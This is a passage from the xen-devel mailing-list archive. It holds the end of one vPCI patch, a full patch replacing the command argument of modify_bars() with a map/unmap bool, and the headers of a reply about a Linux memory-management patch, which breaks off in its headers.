-    bool rom_only : 1;
+    /* List head with struct map_task elements */
+    struct list_head task_queue;
 };
 
 #ifdef __XEN__
@@ -204,6 +204,9 @@ bool vpci_ecam_read(pci_sbdf_t sbdf, unsigned int reg, unsigned int len,
 #else /* !CONFIG_HAS_VPCI */
 struct vpci_vcpu {};
 
+static inline void vpci_vcpu_destroy(struct vcpu *v) { }
+static inline void vpci_vcpu_init(struct vcpu *v) { }
+
 static inline int vpci_reinit_ext_capabilities(struct pci_dev *pdev)
 {
     return 0;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 21:04:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 21:04:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357393.1611833 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZRI-0006hK-03; Wed, 08 Jul 2026 21:04:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357393.1611833; Wed, 08 Jul 2026 21:04:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whZRH-0006hD-SP; Wed, 08 Jul 2026 21:04:15 +0000
Received: by outflank-mailman (input) for mailman id 1357393;
 Wed, 08 Jul 2026 21:04:14 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Stewart.Hildebrand@amd.com>) id 1whZRG-0006a2-9R
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 21:04:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whZRF-00BD5T-MQ
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 23:04:13 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb34-e002-0a2a0a5209dd-0a2a4507ae2e-24
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:04:13 +0200
Received: from [40.107.209.30]
 (helo=PH8PR06CU001.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Stewart.Hildebrand@amd.com>)
 id 6a4ebb4b-9c8e-0a2a45070019-286bd11ead0f-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 23:04:13 +0200
Received: from CH0P223CA0018.NAMP223.PROD.OUTLOOK.COM (2603:10b6:610:116::28)
 by CH2PR12MB9457.namprd12.prod.outlook.com (2603:10b6:610:27c::7)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Wed, 8 Jul
 2026 21:04:07 +0000
Received: from CH3PEPF0000000F.namprd04.prod.outlook.com
 (2603:10b6:610:116:cafe::8f) by CH0P223CA0018.outlook.office365.com
 (2603:10b6:610:116::28) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 21:04:07 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 CH3PEPF0000000F.mail.protection.outlook.com (10.167.244.40) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 21:04:07 +0000
Received: from Satlexmb09.amd.com (10.181.42.218) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 16:04:07 -0500
Received: from ubuntu (10.180.168.240) by satlexmb09.amd.com (10.181.42.218)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 14:04:06 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=EfGaMFGslcPz3bBqBETRlEU8uMf6YUP5kEaT5ZsBEtoKxzcq4tjWA6nMA7QeGI2ebOhs98LuYBiZAvRS1fZxO2Z7fkhUs7/ZYWA+U6tCF0uz7mmxO6hTNxWt7+Lw54uf/B6YgCfvUsbVKpFgXdN69Xy3N/EO38QjV3HEUZklXn4PwNjbvgXfHuKK7qPFxUHV1dHvd6YzxcxJWJwSzEXxQ11Xc7OmmicNlcPLCI28uPMik+qDuwk7C3dbqaMEWz74dHJM/XQ+Tfq2ksPLzi946oJ5mVDZG0NwbpY4toI63S9NhY66kE2p3UOP7VfNGhi+ZufVRTemva4QvLFvNyWDkQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=q9Ml1rEuDAWohroa4VYPF4k6cEO055kVYBLCDJzDEvI=;
 b=BHsNz2mC3ar3qIxN8v7daPMOXRTW2a/Dnx5Kt+85jd6vIiirGZeIfEYTc9+lvfdpQOQEpSCbR5b9qX3DhccTO4gaNvTA9WdsmemWFHGVbfewcFdDnq2GtUR5uValwv+iDWKJ7zgSfVDsz2THjM2/QH6cV36HArATO9G57jXY+lkvrkKUOnv9dWHFYUyohGbN9YBhQ3VPGN6PAryZXzoXcLEfO6NiV6E9h8g+GMl+y6aCv6yHYSTYOP6vcq0DULQOvn9PcaFZLXAj5Nz5HXNKqyCYL+bii0WL0GC/bwbfH6mFFiCxms4O9305ESgTIvney8j6ye+rwYnhU3fTYYINEw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=q9Ml1rEuDAWohroa4VYPF4k6cEO055kVYBLCDJzDEvI=;
 b=GYr/3BGGw43YpJAMMOKlxaaKaT1IQZ4Pqbam/d1HcG5O8WnGEMf+p3AKMESESfCSBnqLmr0s8qYQB+m/nwmY8mCMOlq1dh5xlmcFhh1sQJ3DpYxzY59BJHyAhJ8djXKjnNPzBe1eCnR0E4NafxCW6IOXF5dio7AxpmenXrFc+W4=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
From: Stewart Hildebrand <stewart.hildebrand@amd.com>
To: <xen-devel@lists.xenproject.org>
CC: Stewart Hildebrand <stewart.hildebrand@amd.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>, "Daniel P.
 Smith" <dpsmith@apertussolutions.com>
Subject: [PATCH v5 9/9] vpci: don't pass command value to modify_bars()
Date: Wed, 8 Jul 2026 17:02:24 -0400
Message-ID: <20260708210233.922275-10-stewart.hildebrand@amd.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260708210233.922275-1-stewart.hildebrand@amd.com>
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-Originating-IP: [10.180.168.240]
X-ClientProxiedBy: satlexmb07.amd.com (10.181.42.216) To satlexmb09.amd.com
 (10.181.42.218)
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH3PEPF0000000F:EE_|CH2PR12MB9457:EE_
X-MS-Office365-Filtering-Correlation-Id: 74f2cd4f-6d7b-49d8-9570-08dedd34734e
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|1800799024|36860700016|376014|23010399003|11063799006|18002099003|56012099006|22082099003;
X-Microsoft-Antispam-Message-Info:
	HhVwZdPh0GSLdXOJAzZvMSnn+t9GjnFrMzgpxvET0FdktfQE456XweStMMGZ3pT6x6qGh7v+JVIXYyCFRqMuf8Xuj6CGyvaz7GWAiBGmZOCEcv0x+sJR6Oh3Zyj8S+rSU5U/59utcYljLVRJ2MNwaRNUODCWQpuFT8sh8pIcFefxxbfnxpRBgAHqiVnvDTJ8F3vSWfdCVz8m73Mxyu+n3Pa01BGpVF0Q2fQ74njhBLrpeBcq99safWVLjbWTaQsaAYTVBXv2zfE9PGmj1R5oUJPuSv7J7KhKYO8tinJxenFZcd+nrnJnMIde/uSWUEYZm1aDX8D8TRCWStMDXjGBpT5OU3EMMZy8o6ox6hA6cJfDHI/NrXRH4cxCMGIQNIzQNLEnP+27Al1tD1MdRpqRYPfhYeHV8eMinMH3a+gAMAusABQ5/X6FgMbFJ6i+gkUVB5d6UeyZJDAqnJLR9eL1BqFtF1qsDyYzaqyqpZ5nC5d2Xn0WEYUWeBJkL0FypWxbCvni9aoIMTe2gUIyHXGSnqS0JB2y/65+ALfzlx+bAB0Cl9zUNFYMoXN1Apvy3NHpuyYh0f9SGJWK4ifg/rbsHKGo02v9IchkzMMOoYF6BzPdx+YfHLcG2BEtvXEjMy6aGOV4xx7bBo1jlztrEQKE16WZH85lsn46ffmobVdIOdAlU8X63wML8yjU2woIj7+pHfpcCNaZuNmc1PZK8OnZ9w==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(1800799024)(36860700016)(376014)(23010399003)(11063799006)(18002099003)(56012099006)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	9+96k0L5V0NdgTWRRPTC4wZnESalCqPlNLHmN3JVztiQ4AHQEc9PjTJZotmo1IjuTYgaCOU9pSW0I+hYAy7GqJ66I/EEAqZ0PI4pO2Oo9w6STPXtc3EyNfqkwDoYRcqnKvCvLDQTMfz6LrqYHGQOKAe2ehK/e+izBVXm0ZGhwnC9WAQ5oiX3sPR/kx9RxPfUfyHpnU1z0V+gUwSWweK5CQ0rP3/P8yBqlEG471KMAQPcEWf0bz0ej0fEPpLEH2kEQVm/qo+CPoQ9IQbzCcG+RTQSqcaan5FkErpkP2IXNdE7iKEIIm+H3hOq8WOAEOu/H+mgCwKMTlZg6gq59dMpBiczg2jULXG7MN5jlNeQsMFQjv6zgR8BKfGNfy0qF+8t/kr3zWHNKoby+c9jhK23qp9Yc8RUi/RnDjWDeGmhJoCD0K2gqk8QPUfkWDGSRIVN
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 21:04:07.5212
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 74f2cd4f-6d7b-49d8-9570-08dedd34734e
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CH3PEPF0000000F.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH2PR12MB9457
X-purgate-ID: tlsNG-ef75cf/1783544653-FD72125E-DA63933E/0/0
X-purgate-type: clean
X-purgate-size: 4658

Now that writing the command register is no longer deferred, there's no
need to pass the cmd value to modify_bars(). Replace it with a bool to
indicate map/unmap.

Signed-off-by: Stewart Hildebrand <stewart.hildebrand@amd.com>
---
v4->v5:
* adapted from: ("vpci: allow BAR map/unmap without affecting memory
  decoding bit")
* significant rework

v3->v4:
* rebase on dynamically allocated map queue

v2->v3:
* use bool
* switch to task->map in more places

v1->v2:
* new patch
---
 xen/drivers/vpci/header.c | 23 +++++++++--------------
 1 file changed, 9 insertions(+), 14 deletions(-)

diff --git a/xen/drivers/vpci/header.c b/xen/drivers/vpci/header.c
index 99ce67053068..187de3a12abb 100644
--- a/xen/drivers/vpci/header.c
+++ b/xen/drivers/vpci/header.c
@@ -324,7 +324,7 @@ static void defer_map(struct map_task *task)
     raise_softirq(SCHEDULE_SOFTIRQ);
 }
 
-static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
+static int modify_bars(const struct pci_dev *pdev, bool map, bool rom_only)
 {
     struct vpci_header *header = &pdev->vpci->header;
     struct pci_dev *tmp;
@@ -337,7 +337,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
 
     ASSERT(rw_is_write_locked(&pdev->domain->pci_lock));
 
-    task = alloc_map_task(pdev, cmd & PCI_COMMAND_MEMORY, rom_only);
+    task = alloc_map_task(pdev, map, rom_only);
     if ( !task )
         return -ENOMEM;
 
@@ -369,7 +369,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
              (rom_only ? bar->type != VPCI_BAR_ROM
                        : (bar->type == VPCI_BAR_ROM && !header->rom_enabled)) ||
              /* Skip BARs already in the requested state. */
-             bar->enabled == !!(cmd & PCI_COMMAND_MEMORY) )
+             bar->enabled == map )
             continue;
 
         if ( !pci_check_bar(pdev, _mfn(start), _mfn(end)) )
@@ -409,8 +409,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
             goto fail;
         }
 
-        rc = xsm_iomem_mapping_vpci(XSM_HOOK, pdev->domain, start, end,
-                                    !!(cmd & PCI_COMMAND_MEMORY));
+        rc = xsm_iomem_mapping_vpci(XSM_HOOK, pdev->domain, start, end, map);
         if ( rc )
         {
             printk(XENLOG_G_WARNING
@@ -555,7 +554,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
     for ( i = 0; i < ARRAY_SIZE(header->bars); i++ )
     {
         if ( bar_valid[i] )
-            header->bars[i].enabled = cmd & PCI_COMMAND_MEMORY;
+            header->bars[i].enabled = map;
     }
 
     if ( system_state < SYS_STATE_active )
@@ -568,7 +567,7 @@ static int modify_bars(const struct pci_dev *pdev, uint16_t cmd, bool rom_only)
          * be called iff the memory decoding bit is enabled, thus the operation
          * will always be to establish mappings and process all the BARs.
          */
-        ASSERT((cmd & PCI_COMMAND_MEMORY) && !rom_only);
+        ASSERT(map && !rom_only);
         rc = apply_map(task);
         destroy_map_task(task);
         return rc;
@@ -607,7 +606,7 @@ static void cf_check cmd_write(
      * handled above and by the rsvdp_mask.
      */
     if ( header->bars_mapped != new_enabled &&
-         modify_bars(pdev, cmd, false) )
+         modify_bars(pdev, new_enabled, false) )
         /*
          * Ignore the error. No memory has been added or removed from the p2m
          * (because the actual p2m changes are deferred in defer_map) and the
@@ -784,12 +783,8 @@ static void cf_check rom_write(
         rom->guest_addr = rom->addr;
     }
 
-    /*
-     * Pass PCI_COMMAND_MEMORY or 0 to signal a map/unmap request, note that
-     * this fabricated command is never going to be written to the register.
-     */
     if ( header->bars_mapped && rom->enabled != new_enabled &&
-         modify_bars(pdev, new_enabled ? PCI_COMMAND_MEMORY : 0, true) )
+         modify_bars(pdev, new_enabled, true) )
         /*
          * No memory has been added or removed from the p2m (because the actual
          * p2m changes are deferred in defer_map) and the ROM enable bit has
@@ -988,7 +983,7 @@ int vpci_init_header(struct pci_dev *pdev)
         pci_conf_write16(pdev->sbdf, PCI_COMMAND, cmd);
     }
 
-    return (cmd & PCI_COMMAND_MEMORY) ? modify_bars(pdev, cmd, false) : 0;
+    return (cmd & PCI_COMMAND_MEMORY) ? modify_bars(pdev, true, false) : 0;
 
  fail:
     pci_conf_write16(pdev->sbdf, PCI_COMMAND, cmd);
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 01:42:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 01:42:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357441.1611842 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whdmZ-00018a-VT; Thu, 09 Jul 2026 01:42:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357441.1611842; Thu, 09 Jul 2026 01:42:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whdmZ-00018S-Qk; Thu, 09 Jul 2026 01:42:31 +0000
Received: by outflank-mailman (input) for mailman id 1357441;
 Thu, 09 Jul 2026 01:42:30 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1whdmY-00018L-5p
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 01:42:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whdmW-000wzh-41
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 03:42:28 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4efc6a-5cb7-0a2a0a5109dd-0a2a4502d406-8
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 03:42:27 +0200
Received: from [40.93.198.60]
 (helo=CY7PR03CU001.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a4efc82-5a27-0a2a45020019-285dc63c8ba1-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 03:42:27 +0200
Received: from DS7PR12MB8371.namprd12.prod.outlook.com (2603:10b6:8:e9::18) by
 DS0PR12MB7581.namprd12.prod.outlook.com (2603:10b6:8:13d::21) with
 Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.10; Thu, 9 Jul 2026 01:42:13 +0000
Received: from DS7PR12MB8371.namprd12.prod.outlook.com
 ([fe80::23d7:9e07:1de8:d80a]) by DS7PR12MB8371.namprd12.prod.outlook.com
 ([fe80::23d7:9e07:1de8:d80a%3]) with mapi id 15.21.0181.009; Thu, 9 Jul 2026
 01:42:12 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=fCnCdcuem4tBr4eLP8PMKQdgNKerX7CgiAvMpDZWUsFdk1Jxp46amCYW+dY/3Ll9YaHbMzPHFm9bOjBZhJ6nsTBt9qYKvJW172gTm2VBLleTAEASxXBBAHqg3SxHkxY9wo9fV8mG2iDmS/LFN5D+ydAxn8E42UEVk/VKFvGWpmc7BTIrTYvB7KjDMoT/rhFWDqr61GgPyFDQVgagQITqsjUdoV8g27Dn3rf9sRBbE3xtcJdYivpOBgb1VibUMwNrtIWZHUCg7jvm4/EJQSPu3v/xh8YJylqhD2+K3s5KXUWpGV2JSIipS5lYs4l53Wx3InTLhqx1Ulk4D2FHku6mIQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=IVIBhTpOaROuHvF6ahUTy2dAvqf31/mKwSHQfgbL6Lc=;
 b=j/oiZbB/M25WbfMqsPt6SHbr5JQ4GB+AFyLON/P31iBmGtiboVQqMcWOnU50MfRNEO5eSOJ3vysQLSXiZW8Qcq89GP/smkMMQyjEm61vls/3G6kCaiqFSLCzZIULoEdz/5XYa8cb8+EvfPr1XxsY4eAGdARFI2g34P6zjrRol6sLUVGM4NEXvC/nEIm6LbOFPveDkZWOP+vQLK5s+lHfONxstZVvqkSGT1ZpUI/slvs7nboryTufpF0enGgASfw3TrSctSQO9d9okCYmrNHz+lXvx4QOstkpSSmKH7HQy7Ii245pFrqnKZk440zWN704ujQcN+xWTUTN6i0M5n8eYQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=IVIBhTpOaROuHvF6ahUTy2dAvqf31/mKwSHQfgbL6Lc=;
 b=iFipjYQTQqq5fs3iPcZaoPZB2RpRe/63nnG/HHtinAA4RbJ74R5DDWhY3HfUrZ5j3vtkxu9apljHFFcztnDLUoLK5xYC0wjSNrdKtvtO3Z6Hb4BRYYwXhZrD21VKBWo+L9xKO+9HB5oTIj3mUDOb43IAIx6bshVIy6tf3uvKDG3dadt//2SlIErRR1mGmgVVPprXfECxL14IBBU/xxoIcOMwSGV7ccroZbIrZbFD3SnLuq7MerZQjR22Q6fmZyaBvf1qBrO5iyQkji/D2s2DexANMU6g/XHjeBMEBWKd4UKx1kUwLoJTIJkZlRBZcwy0pRsCT7YSgnKEVi8jbG7FMw==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Wed, 08 Jul 2026 21:42:08 -0400
Message-Id: <DJTNQ2XBNZRN.1BXP2OD707H1Z@nvidia.com>
Subject: Re: [PATCH 09/13] mm/vma: update create_init_stack_vma() to use
 vma_flags_t
Cc: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>, "Madhavan Srinivasan"
 <maddy@linux.ibm.com>, "Michael Ellerman" <mpe@ellerman.id.au>, "Maarten
 Lankhorst" <maarten.lankhorst@linux.intel.com>, "Maxime Ripard"
 <mripard@kernel.org>, "Thomas Zimmermann" <tzimmermann@suse.de>, "David
 Airlie" <airlied@gmail.com>, "Simona Vetter" <simona@ffwll.ch>, "Lucas
 Stach" <l.stach@pengutronix.de>, "Inki Dae" <inki.dae@samsung.com>,
 "Seung-Woo Kim" <sw0312.kim@samsung.com>, "Kyungmin Park"
 <kyungmin.park@samsung.com>, "Krzysztof Kozlowski" <krzk@kernel.org>,
 "Peter Griffin" <peter.griffin@linaro.org>, "Jani Nikula"
 <jani.nikula@linux.intel.com>, "Joonas Lahtinen"
 <joonas.lahtinen@linux.intel.com>, "Rodrigo Vivi" <rodrigo.vivi@intel.com>,
 "Tvrtko Ursulin" <tursulin@ursulin.net>, "Rob Clark"
 <robin.clark@oss.qualcomm.com>, "Dmitry Baryshkov" <lumag@kernel.org>,
 "Lyude Paul" <lyude@redhat.com>, "Danilo Krummrich" <dakr@kernel.org>,
 "Tomi Valkeinen" <tomi.valkeinen@ideasonboard.com>, "Sandy Huang"
 <hjc@rock-chips.com>, =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>,
 "Andy Yan" <andy.yan@rock-chips.com>, "Thierry Reding"
 <thierry.reding@kernel.org>, "Mikko Perttunen" <mperttunen@nvidia.com>,
 "Jonathan Hunter" <jonathanh@nvidia.com>, "Gerd Hoffmann"
 <kraxel@redhat.com>, "Dmitry Osipenko" <dmitry.osipenko@collabora.com>,
 "Zack Rusin" <zack.rusin@broadcom.com>, "Matthew Brost"
 <matthew.brost@intel.com>, "Thomas Hellstrom"
 <thomas.hellstrom@linux.intel.com>, "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>, "Helge Deller" <deller@gmx.de>,
 "Benjamin LaHaise" <bcrl@kvack.org>, "Alexander Viro"
 <viro@zeniv.linux.org.uk>, "Christian Brauner" <brauner@kernel.org>,
 "Muchun Song" <muchun.song@linux.dev>, "Oscar Salvador"
 <osalvador@suse.de>, "David Hildenbrand" <david@kernel.org>, "Baolin Wang"
 <baolin.wang@linux.alibaba.com>, "Liam R . Howlett" <liam@infradead.org>,
 "Nico Pache" <npache@redhat.com>, "Ryan Roberts" <ryan.roberts@arm.com>,
 "Dev Jain" <dev.jain@arm.com>, "Barry Song" <baohua@kernel.org>, "Lance
 Yang" <lance.yang@linux.dev>, "Hugh Dickins" <hughd@google.com>, "Vlastimil
 Babka" <vbabka@kernel.org>, "Mike Rapoport" <rppt@kernel.org>, "Suren
 Baghdasaryan" <surenb@google.com>, "Michal Hocko" <mhocko@suse.com>, "Jann
 Horn" <jannh@google.com>, "Pedro Falcato" <pfalcato@suse.de>, "Kees Cook"
 <kees@kernel.org>, "Jaroslav Kysela" <perex@perex.cz>, "Takashi Iwai"
 <tiwai@suse.com>, <linux-mips@vger.kernel.org>,
 <linux-kernel@vger.kernel.org>, <linuxppc-dev@lists.ozlabs.org>,
 <dri-devel@lists.freedesktop.org>, <etnaviv@lists.freedesktop.org>,
 <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Andrew Morton"
 <akpm@linux-foundation.org>
From: "Zi Yan" <ziy@nvidia.com>
X-Mailer: aerc 0.21.0
References: <cover.1782760670.git.ljs@kernel.org>
 <34689784ee6856f100c02ad4eabeaa4db643713a.1782760670.git.ljs@kernel.org>
In-Reply-To: <34689784ee6856f100c02ad4eabeaa4db643713a.1782760670.git.ljs@kernel.org>
X-ClientProxiedBy: CH0PR03CA0432.namprd03.prod.outlook.com
 (2603:10b6:610:10e::20) To DS7PR12MB8371.namprd12.prod.outlook.com
 (2603:10b6:8:e9::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS7PR12MB8371:EE_|DS0PR12MB7581:EE_
X-MS-Office365-Filtering-Correlation-Id: ddd5ea09-0887-4050-e353-08dedd5b4c5d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|376014|7416014|1800799024|366016|22082099003|11063799006|18002099003|4143699003|56012099006;
X-Microsoft-Antispam-Message-Info:
